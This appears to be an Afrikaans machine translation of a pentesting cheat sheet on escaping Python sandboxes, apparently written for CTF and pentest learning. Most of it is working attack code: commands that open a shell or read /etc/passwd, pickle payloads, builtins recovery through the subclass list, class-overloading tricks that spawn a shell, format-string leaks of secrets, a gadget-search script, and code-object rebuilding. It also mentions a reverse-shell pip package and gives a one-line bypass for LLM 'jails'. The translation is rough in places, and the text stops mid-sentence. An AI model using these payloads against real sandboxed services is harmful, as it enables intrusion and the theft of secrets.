Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk
Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak. Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
Hierdie is 'n paar truuks om python sandbox beskermings te omseil en arbitrêre opdragte uit te voer.
Command Execution Libraries
Die eerste ding wat jy moet weet is of jy kode direk kan uitvoer met 'n reeds ingevoerde biblioteek, of of jy enige van hierdie biblioteke kan invoer:
os.system("ls")os.popen("ls").read()commands.getstatusoutput("ls")commands.getoutput("ls")commands.getstatus("file/path")subprocess.call("ls", shell=True)subprocess.Popen("ls", shell=True)pty.spawn("ls")pty.spawn("/bin/bash")platform.os.system("ls")pdb.os.system("ls")#Import functions to execute commandsimportlib.import_module("os").system("ls")importlib.__import__("os").system("ls")imp.load_source("os","/usr/lib/python3.8/os.py").system("ls")imp.os.system("ls")imp.sys.modules["os"].system("ls")sys.modules["os"].system("ls")__import__("os").system("ls")import osfrom os import*#Other interesting functionsopen("/etc/passwd").read()open('/var/www/html/input', 'w').write('123')#In Python2.7execfile('/usr/lib/python2.7/os.py')system('ls')
Onthou dat die open en read funksies nuttig kan wees om lêers binne die python sandbox te lees en om kode te skryf wat jy kan uitvoer om die sandbox te omseil.
Python2 input() funksie laat toe dat python kode uitgevoer word voordat die program ineenstort.
Python probeer om biblioteke van die huidige gids eerste te laai (die volgende opdrag sal wys waar python modules laai): python3 -c 'import sys; print(sys.path)'
Omseil pickle sandbox met die standaard geïnstalleerde python pakkette
Standaard pakkette
Jy kan 'n lys van vooraf geïnstalleerde pakkette hier vind: https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html
Let daarop dat jy vanaf 'n pickle die python omgewing kan arbitraire biblioteke wat in die stelsel geïnstalleer is, laat invoer.
Byvoorbeeld, die volgende pickle, wanneer dit gelaai word, gaan die pip biblioteek invoer om dit te gebruik:
#Note that here we are importing the pip library so the pickle is created correctly#however, the victim doesn't even need to have the library installed to execute it#the library is going to be loaded automaticallyimport pickle, os, base64, pipclassP(object):def__reduce__(self):return (pip.main,(["list"],))print(base64.b64encode(pickle.dumps(P(), protocol=0)))
You kan die pakket aflaai om die omgekeerde skulp hier te skep. Let asseblief daarop dat jy dit moet dekomprimeer, die setup.py moet verander, en jou IP vir die omgekeerde skulp moet plaas:
Hierdie pakket word Reverse genoem. Dit is egter spesiaal gemaak sodat wanneer jy die omgekeerde skulp verlaat, die res van die installasie sal misluk, sodat jy nie enige ekstra python pakket op die bediener sal agterlaat wanneer jy vertrek nie.
Eval-ing python kode
Let daarop dat exec meerlyn strings en ";", maar eval nie toelaat nie (kyk walrus operator)
As sekere karakters verbode is, kan jy die hex/octal/B64 voorstelling gebruik om die beperking te bypass:
exec("print('RCE'); __import__('os').system('ls')")#Using ";"exec("print('RCE')\n__import__('os').system('ls')")#Using "\n"eval("__import__('os').system('ls')")#Eval doesn't allow ";"eval(compile('print("hello world"); print("heyy")', '<stdin>', 'exec'))#This way eval accept ";"__import__('timeit').timeit("__import__('os').system('ls')",number=1)#One liners that allow new lines and tabseval(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))exec(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))
Ander biblioteke wat toelaat om python kode te evaluer
#Pandasimport pandas as pddf = pd.read_csv("currency-rates.csv")df.query('@__builtins__.__import__("os").system("ls")')df.query("@pd.io.common.os.popen('ls').read()")df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")# The previous options work but others you might try give the error:# Only named functions are supported# Like:df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
Operateurs en kort truuks
# walrus operator allows generating variable inside a list## everything will be executed in order## From https://ur4ndom.dev/posts/2020-06-29-0ctf-quals-pyaucalc/[a:=21,a*2][y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
Bypass van beskermings deur kodering (UTF-7)
In hierdie skrywe word UFT-7 gebruik om arbitrêre python kode binne 'n blykbare sandbox te laai en uit te voer:
Dit is ook moontlik om dit te omseil met ander kodering, byvoorbeeld raw_unicode_escape en unicode_escape.
Python-uitvoering sonder oproepe
As jy binne 'n python-jail is wat nie toelaat dat jy oproepe maak nie, is daar steeds 'n paar maniere om arbitêre funksies, kode en opdragte uit te voer.
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/@exec@inputclassX:pass# The previous code is equivalent to:classX:passX =input(X)X =exec(X)# So just send your python code when prompted and it will be executed# Another approach without calling input:@eval@'__import__("os").system("sh")'.formatclass_:pass
RCE die skep van objekte en oorlaai
As jy 'n klas kan verklaar en 'n objek van daardie klas kan skep, kan jy verskillende metodes skryf/oorlaai wat geaktiveer kan word sonder om hulle direk aan te roep.
RCE met pasgemaakte klasse
Jy kan sommige klasmetodes (deur bestaande klasmetodes te oorlaai of 'n nuwe klas te skep) wysig om hulle arbitraire kode te laat uitvoer wanneer geaktiveer sonder om hulle direk aan te roep.
# This class has 3 different ways to trigger RCE without directly calling any functionclassRCE:def__init__(self):self +="print('Hello from __init__ + __iadd__')"__iadd__=exec#Triggered when object is createddef__del__(self):self -="print('Hello from __del__ + __isub__')"__isub__=exec#Triggered when object is created__getitem__=exec#Trigerred with obj[<argument>]__add__=exec#Triggered with obj + <argument># These lines abuse directly the previous class to get RCErce =RCE()#Later we will see how to create objects without calling the constructorrce["print('Hello from __getitem__')"]rce +"print('Hello from __add__')"del rce# These lines will get RCE when the program is over (exit)sys.modules["pwnd"]=RCE()exit()# Other functions to overwrite__sub__ (k -'import os; os.system("sh")')__mul__ (k *'import os; os.system("sh")')__floordiv__ (k //'import os; os.system("sh")')__truediv__ (k /'import os; os.system("sh")')__mod__ (k %'import os; os.system("sh")')__pow__ (k**'import os; os.system("sh")')__lt__ (k <'import os; os.system("sh")')__le__ (k <='import os; os.system("sh")')__eq__ (k =='import os; os.system("sh")')__ne__ (k !='import os; os.system("sh")')__ge__ (k >='import os; os.system("sh")')__gt__ (k >'import os; os.system("sh")')__iadd__ (k +='import os; os.system("sh")')__isub__ (k -='import os; os.system("sh")')__imul__ (k *='import os; os.system("sh")')__ifloordiv__ (k //='import os; os.system("sh")')__idiv__ (k /='import os; os.system("sh")')__itruediv__ (k /='import os; os.system("sh")') (Note that this only works when from__future__import division isin effect.)__imod__ (k %='import os; os.system("sh")')__ipow__ (k **='import os; os.system("sh")')__ilshift__ (k<<='import os; os.system("sh")')__irshift__ (k >>='import os; os.system("sh")')__iand__ (k ='import os; os.system("sh")')__ior__ (k |='import os; os.system("sh")')__ixor__ (k ^='import os; os.system("sh")')
Die belangrikste ding wat metaklasse ons toelaat om te doen, is om 'n instansie van 'n klas te maak, sonder om die konstruktors direk aan te roep, deur 'n nuwe klas te skep met die teiken klas as 'n metaklas.
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed# This will define the members of the "subclass"classMetaclass(type):__getitem__=exec# So Sub[string] will execute exec(string)# Note: Metaclass.__class__ == typeclassSub(metaclass=Metaclass): # That's how we make Sub.__class__ == Metaclasspass# Nothing special to doSub['import os; os.system("sh")']## You can also use the tricks from the previous section to get RCE with this object
Skep objek met uitsonderings
Wanneer 'n uitsondering geaktiveer word, word 'n objek van die Uitsonderinggeskep sonder dat jy die konstruktors direk hoef aan te roep (n truuk van @_nag0mez):
classRCE(Exception):def__init__(self):self +='import os; os.system("sh")'__iadd__=exec#Triggered when object is createdraise RCE #Generate RCE object# RCE with __add__ overloading and try/except + raise generated objectclassKlecko(Exception):__add__=exectry:raise Kleckoexcept Klecko as k:k +'import os; os.system("sh")'#RCE abusing __add__## You can also use the tricks from the previous section to get RCE with this object
Meer RCE
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/# If sys is imported, you can sys.excepthook and trigger it by triggering an errorclassX:def__init__(self,a,b,c):self +="os.system('sh')"__iadd__=execsys.excepthook = X1/0#Trigger it# From https://github.com/google/google-ctf/blob/master/2022/sandbox-treebox/healthcheck/solution.py# The interpreter will try to import an apt-specific module to potentially# report an error in ubuntu-provided modules.# Therefore the __import__ functions are overwritten with our RCEclassX():def__init__(self,a,b,c,d,e):self +="print(open('flag').read())"__iadd__=eval__builtins__.__import__ = X{}[1337]
Lees lêer met ingeboude hulp & lisensie
__builtins__.__dict__["license"]._Printer__filenames=["flag"]a =__builtins__.helpa.__class__.__enter__=__builtins__.__dict__["license"]a.__class__.__exit__=lambdaself,*args: Nonewith (a as b):pass
As jy toegang kan kry tot die __builtins__ objek kan jy biblioteke invoer (let op dat jy ook hier 'n ander string voorstelling kan gebruik wat in die laaste afdeling gewys is):
Wanneer jy nie __builtins__ het nie, gaan jy nie in staat wees om enigiets te importeer of selfs lêers te lees of te skryf nie, aangesien alle globale funksies (soos open, import, print...) nie gelaai is nie.
E however, standaard importeer python 'n baie modules in geheue. Hierdie modules mag onskuldig voorkom, maar sommige van hulle importeer ook gevaarlike funksionaliteite binne hulle wat toegang verkry kan word om selfs arbitraire kode-uitvoering te verkry.
In die volgende voorbeelde kan jy sien hoe om misbruik te maak van sommige van hierdie "onskuldige" modules wat gelaai is om toegang te verkry tot gevaarlikefunksionaliteite binne hulle.
Python2
#Try to reload __builtins__reload(__builtins__)import __builtin__# Read recovering <type 'file'> in offset 40().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()# Write recovering <type 'file'> in offset 40().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')# Execute recovering __import__ (class 59s is <class 'warnings.catch_warnings'>)().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']('os').system('ls')# Execute (another method)().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__("func_globals")['linecache'].__dict__['os'].__dict__['system']('ls')# Execute recovering eval symbol (class 59 is <class 'warnings.catch_warnings'>)().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]["eval"]("__import__('os').system('ls')")# Or you could obtain the builtins from a defined functionget_flag.__globals__['__builtins__']['__import__']("os").system("ls")
Python3
# Obtain builtins from a globally defined function# https://docs.python.org/3/library/functions.htmlhelp.__call__.__builtins__# or __globals__license.__call__.__builtins__# or __globals__credits.__call__.__builtins__# or __globals__print.__self__dir.__self__globals.__self__len.__self____build_class__.__self__# Obtain the builtins from a defined functionget_flag.__globals__['__builtins__']# Get builtins from loaded classes[ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"wrapper"notinstr(x.__init__)and"builtins"in x.__init__.__globals__ ][0]["builtins"]
# Recover __builtins__ and make everything easier__builtins__= [x for x in (1).__class__.__base__.__subclasses__()if x.__name__=='catch_warnings'][0]()._module.__builtins____builtins__["__import__"]('os').system('ls')
Ingeboude payloads
# Possible payloads once you have found the builtins__builtins__["open"]("/etc/passwd").read()__builtins__["__import__"]("os").system("ls")# There are lots of other payloads that can be abused to execute commands# See them below
Globals en locals
Om die globals en locals te kontroleer, is 'n goeie manier om te weet wat jy kan toegang.
Hier wil ek verduidelik hoe om maklik meer gevaarlike funksies te ontdek wat gelaai is en meer betroubare exploits voor te stel.
Toegang tot subklasse met omseilings
Een van die sensitiefste dele van hierdie tegniek is om die basis subklasse te kan toegang. In die vorige voorbeelde is dit gedoen met ''.__class__.__base__.__subclasses__() maar daar is ander moontlike maniere:
#You can access the base from mostly anywhere (in regular conditions)"".__class__.__base__.__subclasses__()[].__class__.__base__.__subclasses__(){}.__class__.__base__.__subclasses__()().__class__.__base__.__subclasses__()(1).__class__.__base__.__subclasses__()bool.__class__.__base__.__subclasses__()print.__class__.__base__.__subclasses__()open.__class__.__base__.__subclasses__()defined_func.__class__.__base__.__subclasses__()#You can also access it without "__base__" or "__class__"# You can apply the previous technique also here"".__class__.__bases__[0].__subclasses__()"".__class__.__mro__[1].__subclasses__()"".__getattribute__("__class__").mro()[1].__subclasses__()"".__getattribute__("__class__").__base__.__subclasses__()# This can be useful in case it is not possible to make calls (therefore using decorators)().__class__.__class__.__subclasses__(().__class__.__class__)[0].register.__builtins__["breakpoint"]()# From https://github.com/salvatore-abello/python-ctf-cheatsheet/tree/main/pyjails#no-builtins-no-mro-single-exec#If attr is present you can access everything as a string# This is common in Django (and Jinja) environments(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()
Vind gevaarlike biblioteke wat gelaai is
Byvoorbeeld, om te weet dat met die biblioteek sys dit moontlik is om arbitraire biblioteke te importeer, kan jy soek na al die modules wat gelaai is wat sys binne hulle geïmporteer het:
Daar is baie, en ons het net een nodig om opdragte uit te voer:
[ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"wrapper"notinstr(x.__init__)and"sys"in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
Ons kan dieselfde ding doen met ander biblioteke wat ons weet kan gebruik word om opdragte uit te voer:
#os[ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"wrapper"notinstr(x.__init__)and"os"in x.__init__.__globals__ ][0]["os"].system("ls")[ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"wrapper"notinstr(x.__init__)and"os"== x.__init__.__globals__["__name__"] ][0]["system"]("ls")[ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"'os."instr(x) ][0]['system']('ls')#subprocess[ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"wrapper"notinstr(x.__init__)and"subprocess"== x.__init__.__globals__["__name__"] ][0]["Popen"]("ls")[ x for x in''.__class__.__base__.__subclasses__()if"'subprocess."instr(x) ][0]['Popen']('ls')[ x for x in''.__class__.__base__.__subclasses__()if x.__name__=='Popen' ][0]('ls')#builtins[ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"wrapper"notinstr(x.__init__)and"__bultins__"in x.__init__.__globals__ ][ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"wrapper"notinstr(x.__init__)and"builtins"in x.__init__.__globals__ ][0]["builtins"].__import__("os").system("ls")#sys[ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"wrapper"notinstr(x.__init__)and"sys"in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")[ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"'_sitebuiltins."instr(x)andnot"_Helper"instr(x) ][0]["sys"].modules["os"].system("ls")#commands (not very common)[ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"wrapper"notinstr(x.__init__)and"commands"in x.__init__.__globals__ ][0]["commands"].getoutput("ls")#pty (not very common)[ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"wrapper"notinstr(x.__init__)and"pty"in x.__init__.__globals__ ][0]["pty"].spawn("ls")#importlib[ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"wrapper"notinstr(x.__init__)and"importlib"in x.__init__.__globals__ ][0]["importlib"].import_module("os").system("ls")[ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"wrapper"notinstr(x.__init__)and"importlib"in x.__init__.__globals__ ][0]["importlib"].__import__("os").system("ls")[ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"'imp."instr(x) ][0]["importlib"].import_module("os").system("ls")[ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"'imp."instr(x) ][0]["importlib"].__import__("os").system("ls")#pdb[ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"wrapper"notinstr(x.__init__)and"pdb"in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
Boonop, ons kan selfs soek watter modules kwaadwillige biblioteke laai:
Boonop, as jy dink ander biblioteke mag in staat wees om funksies aan te roep om opdragte uit te voer, kan ons ook filter op funksiename binne die moontlike biblioteke:
Dit is net wonderlik. As jy soek na 'n objek soos globals, builtins, open of enigiets gebruik net hierdie skrip om rekursief plekke te vind waar jy daardie objek kan vind.
import os, sys # Import these to find more gadgetsSEARCH_FOR ={# Misc"__globals__":set(),"builtins":set(),"__builtins__":set(),"open":set(),# RCE libs"os":set(),"subprocess":set(),"commands":set(),"pty":set(),"importlib":set(),"imp":set(),"sys":set(),"pip":set(),"pdb":set(),# RCE methods"system":set(),"popen":set(),"getstatusoutput":set(),"getoutput":set(),"call":set(),"Popen":set(),"popen":set(),"spawn":set(),"import_module":set(),"__import__":set(),"load_source":set(),"execfile":set(),"execute":set()}#More than 4 is very time consumingMAX_CONT =4#The ALREADY_CHECKED makes the script run much faster, but some solutions won't be found#ALREADY_CHECKED = set()defcheck_recursive(element,cont,name,orig_n,orig_i,execute):# If bigger than maximum, stopif cont > MAX_CONT:return# If already checked, stop#if name and name in ALREADY_CHECKED:# return# Add to already checked#if name:# ALREADY_CHECKED.add(name)# If found add to the dictfor k in SEARCH_FOR:if k indir(element)or (type(element)isdictand k in element):SEARCH_FOR[k].add(f"{orig_i}: {orig_n}.{name}")# Continue with the recursivityfor new_element indir(element):try:check_recursive(getattr(element, new_element), cont+1, f"{name}.{new_element}", orig_n, orig_i, execute)# WARNING: Calling random functions sometimes kills the script# Comment this part if you notice that behaviour!!if execute:try:ifcallable(getattr(element, new_element)):check_recursive(getattr(element, new_element)(), cont+1, f"{name}.{new_element}()", orig_i, execute)except:passexcept:pass# If in a dict, scan also each key, very importantiftype(element)isdict:for new_element in element:check_recursive(element[new_element], cont+1, f"{name}[{new_element}]", orig_n, orig_i)defmain():print("Checking from empty string...")total = [""]for i,element inenumerate(total):print(f"\rStatus: {i}/{len(total)}", end="")cont =1check_recursive(element, cont, "", str(element), f"Empty str {i}", True)print()print("Checking loaded subclasses...")total ="".__class__.__base__.__subclasses__()for i,element inenumerate(total):print(f"\rStatus: {i}/{len(total)}", end="")cont =1check_recursive(element, cont, "", str(element), f"Subclass {i}", True)print()print("Checking from global functions...")total = [print, check_recursive]for i,element inenumerate(total):print(f"\rStatus: {i}/{len(total)}", end="")cont =1check_recursive(element, cont, "", str(element), f"Global func {i}", False)print()print(SEARCH_FOR)if__name__=="__main__":main()
You can check the output of this script on this page:
As jy stuur 'n string na python wat gaan geformateer word, kan jy {} gebruik om toegang te verkry tot python interne inligting. Jy kan die vorige voorbeelde gebruik om toegang te verkry tot globals of builtins byvoorbeeld.
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/CONFIG ={"KEY":"ASXFYFGK78989"}classPeopleInfo:def__init__(self,fname,lname):self.fname = fnameself.lname = lnamedefget_name_for_avatar(avatar_str,people_obj):return avatar_str.format(people_obj = people_obj)people =PeopleInfo('GEEKS', 'FORGEEKS')st ="{people_obj.__init__.__globals__[CONFIG][KEY]}"get_name_for_avatar(st, people_obj = people)
Let op hoe jy toegang kan verkry tot eienskappe op 'n normale manier met 'n punt soos people_obj.__init__ en dict element met haakies sonder aanhalings __globals__[CONFIG]
Neem ook kennis dat jy .__dict__ kan gebruik om elemente van 'n objek op te som get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)
Sommige ander interessante eienskappe van formaat stringe is die moontlikheid om die funksiesstr, repr en ascii in die aangeduide objek uit te voer deur !s, !r, !a onderskeidelik by te voeg:
st ="{people_obj.__init__.__globals__[CONFIG][KEY]!a}"get_name_for_avatar(st, people_obj = people)
Boonop is dit moontlik om nuwe formatterers in klasse te kodeer:
classHAL9000(object):def__format__(self,format):if (format=='open-the-pod-bay-doors'):return"I'm afraid I can't do that."return'HAL 9000''{:open-the-pod-bay-doors}'.format(HAL9000())#I'm afraid I can't do that.
{whoami.__class__.__dict__}{whoami.__globals__[os].__dict__}{whoami.__globals__[os].environ}{whoami.__globals__[sys].path}{whoami.__globals__[sys].modules}# Access an element through several links{whoami.__globals__[server].__dict__[bridge].__dict__[db].__dict__}# Example from https://corgi.rip/posts/buckeye-writeups/secret_variable ="clueless"x = new_user.User(username='{i.find.__globals__[so].mapperlib.sys.modules[__main__].secret_variable}',password='lol')str(x)# Out: clueless
LLM Jails omseil
Van hier: ().class.base.subclasses()[108].load_module('os').system('dir')
Van formaat na RCE laai biblioteke
Volgens die TypeMonkey uitdagings van hierdie skrywe is dit moontlik om arbitrêre biblioteke vanaf skyf te laai deur die formaat string kwesbaarheid in python te misbruik.
As 'n herinnering, elke keer as 'n aksie in python uitgevoer word, word 'n funksie uitgevoer. Byvoorbeeld 2*3 sal (2).mul(3) of {'a':'b'}['a'] sal {'a':'b'}.__getitem__('a') wees.
'n Python formaat string kwesbaarheid laat nie toe om 'n funksie uit te voer nie (dit laat nie toe om haakies te gebruik nie), so dit is nie moontlik om RCE te kry soos '{0.system("/bin/sh")}'.format(os).
Tog, dit is moontlik om [] te gebruik. Daarom, as 'n algemene python biblioteek 'n __getitem__ of __getattr__ metode het wat arbitrêre kode uitvoer, is dit moontlik om dit te misbruik om RCE te kry.
Soek na 'n gadget soos dit in python, die skrywe stel hierdie Github soeknavraag voor. Waar hy hierdie een gevind het:
Hierdie toestel laat toe om 'n biblioteek vanaf die skyf te laai. Daarom is dit nodig om op een of ander manier die biblioteek te skryf of op te laai wat korrek saamgekom is na die aangevalde bediener.
In sommige CTFs kan jy voorsien word van die naam van 'n aangepaste funksie waar die vlag geleë is en jy moet die binnekant van die funksie ondersoek om dit te onttrek.
dir()#General dir() to find what we have loaded['__builtins__','__doc__','__name__','__package__','b','bytecode','code','codeobj','consts','dis','filename','foo','get_flag','names','read','x']dir(get_flag)#Get info tof the function['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name']
globals
__globals__ en func_globals (Dieselfde) Verkry die globale omgewing. In die voorbeeld kan jy 'n paar ingevoerde modules, 'n paar globale veranderlikes en hul inhoud gesien word:
get_flag.func_globalsget_flag.__globals__{'b': 3, 'names': ('open', 'read'), '__builtins__': <module '__builtin__' (built-in)>, 'codeobj': <code object <module> at 0x7f58c00b26b0, file "noname", line 1>, 'get_flag': <function get_flag at 0x7f58c00b27d0>, 'filename': './poc.py', '__package__': None, 'read': <function read at 0x7f58c00b23d0>, 'code': <type 'code'>, 'bytecode': 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S', 'consts': (None, './poc.py', 'r'), 'x': <unbound method catch_warnings.__init__>, '__name__': '__main__', 'foo': <function foo at 0x7f58c020eb50>, '__doc__': None, 'dis': <module 'dis' from '/usr/lib/python2.7/dis.pyc'>}
#If you have access to some variable valueCustomClassObject.__class__.__init__.__globals__
__code__ en func_code: Jy kan toegang verkry tot hierdie attribuut van die funksie om die kode objek van die funksie te verkry.
# In our current exampleget_flag.__code__<code object get_flag at 0x7f9ca0133270, file "<stdin>", line 1# Compiling some python codecompile("print(5)", "", "single")<code object<module> at 0x7f9ca01330c0, file "", line 1>#Get the attributes of the code objectdir(get_flag.__code__)['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']
Verkryging van Kode-inligting
# Another examples ='''a = 5b = 'text'def f(x):return xf(5)'''c=compile(s, "", "exec")# __doc__: Get the description of the function, if anyprint.__doc__# co_consts: Constantsget_flag.__code__.co_consts(None,1,'secretcode','some','array','THIS-IS-THE-FALG!','Nope')c.co_consts #Remember that the exec mode in compile() generates a bytecode that finally returns None.(5,'text',<code object f at 0x7f9ca0133540, file "", line 4>,'f',None# co_names: Names used by the bytecode which can be global variables, functions, and classes or also attributes loaded from objects.get_flag.__code__.co_names()c.co_names('a','b','f')#co_varnames: Local names used by the bytecode (arguments first, then the local variables)get_flag.__code__.co_varnames('some_input','var1','var2','var3')#co_cellvars: Nonlocal variables These are the local variables of a function accessed by its inner functions.get_flag.__code__.co_cellvars()#co_freevars: Free variables are the local variables of an outer function which are accessed by its inner function.get_flag.__code__.co_freevars()#Get bytecodeget_flag.__code__.co_code'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S'
Let wel dat as jy nie dis in die python sandbox kan invoer nie, kan jy die bytecode van die funksie (get_flag.func_code.co_code) verkry en dit plaaslik ontleed. Jy sal nie die inhoud van die veranderlikes wat gelaai word (LOAD_CONST) sien nie, maar jy kan dit raai vanaf (get_flag.func_code.co_consts) omdat LOAD_CONST ook die offset van die veranderlike wat gelaai word, aandui.
Nou, kom ons stel ons voor dat jy op een of ander manier die inligting oor 'n funksie kan dump wat jy nie kan uitvoer nie maar jy moet dit uitvoer.
Soos in die volgende voorbeeld, jy kan toegang kry tot die kode objek van daardie funksie, maar net deur die disassemble te lees, weet jy nie hoe om die vlag te bereken nie (stel jou 'n meer komplekse calc_flag funksie voor)
defget_flag(some_input):var1=1var2="secretcode"var3=["some","array"]defcalc_flag(flag_rot2):return''.join(chr(ord(c)-2) for c in flag_rot2)if some_input == var2:returncalc_flag("VjkuKuVjgHnci")else:return"Nope"
Die skep van die kode objek
Eerstens, ons moet weet hoe om 'n kode objek te skep en uit te voer sodat ons een kan skep om ons funksie te voer wat gelek het:
code_type =type((lambda: None).__code__)# Check the following hint if you get an error in calling thiscode_obj =code_type(co_argcount, co_kwonlyargcount,co_nlocals, co_stacksize, co_flags,co_code, co_consts, co_names,co_varnames, co_filename, co_name,co_firstlineno, co_lnotab, freevars=None,cellvars=None)# Executioneval(code_obj)#Execute as a whole script# If you have the code of a function, execute itmydict ={}mydict['__builtins__']=__builtins__function_type(code_obj, mydict, None, None, None)("secretcode")
Afhangende van die python weergawe kan die parameters van code_type 'n ander volgorde hê. Die beste manier om die volgorde van die params in die python weergawe wat jy uitvoer te weet, is om te loop:
import types
types.CodeType.__doc__
'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n flags, codestring, constants, names, varnames, filename, name,\n firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object. Not for the faint of heart.'
Herstel van 'n gelekte funksie
In die volgende voorbeeld gaan ons al die data neem wat nodig is om die funksie direk uit die funksie kode objek te herstel. In 'n werklike voorbeeld is al die waardes om die funksie code_type uit te voer wat jy sal moet lek.
fc = get_flag.__code__# In a real situation the values like fc.co_argcount are the ones you need to leakcode_obj =code_type(fc.co_argcount, fc.co_kwonlyargcount, fc.co_nlocals, fc.co_stacksize, fc.co_flags, fc.co_code, fc.co_consts, fc.co_names, fc.co_varnames, fc.co_filename, fc.co_name, fc.co_firstlineno, fc.co_lnotab, cellvars=fc.co_cellvars, freevars=fc.co_freevars)mydict ={}mydict['__builtins__']=__builtins__function_type(code_obj, mydict, None, None, None)("secretcode")#ThisIsTheFlag
Bypass Defenses
In vorige voorbeelde aan die begin van hierdie pos, kan jy sien hoe om enige python kode uit te voer met die compile funksie. Dit is interessant omdat jy hele skripte met lusse en alles in 'n eenlyn kan uitvoer (en ons kan dieselfde doen met exec).
In elk geval, soms kan dit nuttig wees om 'n gecompileerde objek op 'n plaaslike masjien te skep en dit in die CTF masjien uit te voer (byvoorbeeld omdat ons nie die compiled funksie in die CTF het nie).
Vir voorbeeld, kom ons compileer en voer handmatig 'n funksie uit wat ./poc.py lees:
#On Remotefunction_type =type(lambda: None)code_type =type((lambda: None).__code__)#Get <type 'type'>consts = (None,"./poc.py",'r')bytecode ='t\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S'names = ('open','read')# And execute it using eval/execeval(code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ()))#You could also execute it directlymydict ={}mydict['__builtins__']=__builtins__codeobj =code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())function_type(codeobj, mydict, None, None, None)()
As jy nie toegang tot eval of exec kan kry nie, kan jy 'n regte funksie skep, maar om dit direk aan te roep, gaan gewoonlik misluk met: konstruksie nie toeganklik in beperkte modus. So jy het 'n funksie buite die beperkte omgewing nodig om hierdie funksie aan te roep.
Python wat met optimalisering uitgevoer word met die param -O sal assert verklarings en enige kode wat voorwaardelik is op die waarde van debug verwyder.
Daarom, kontroles soos
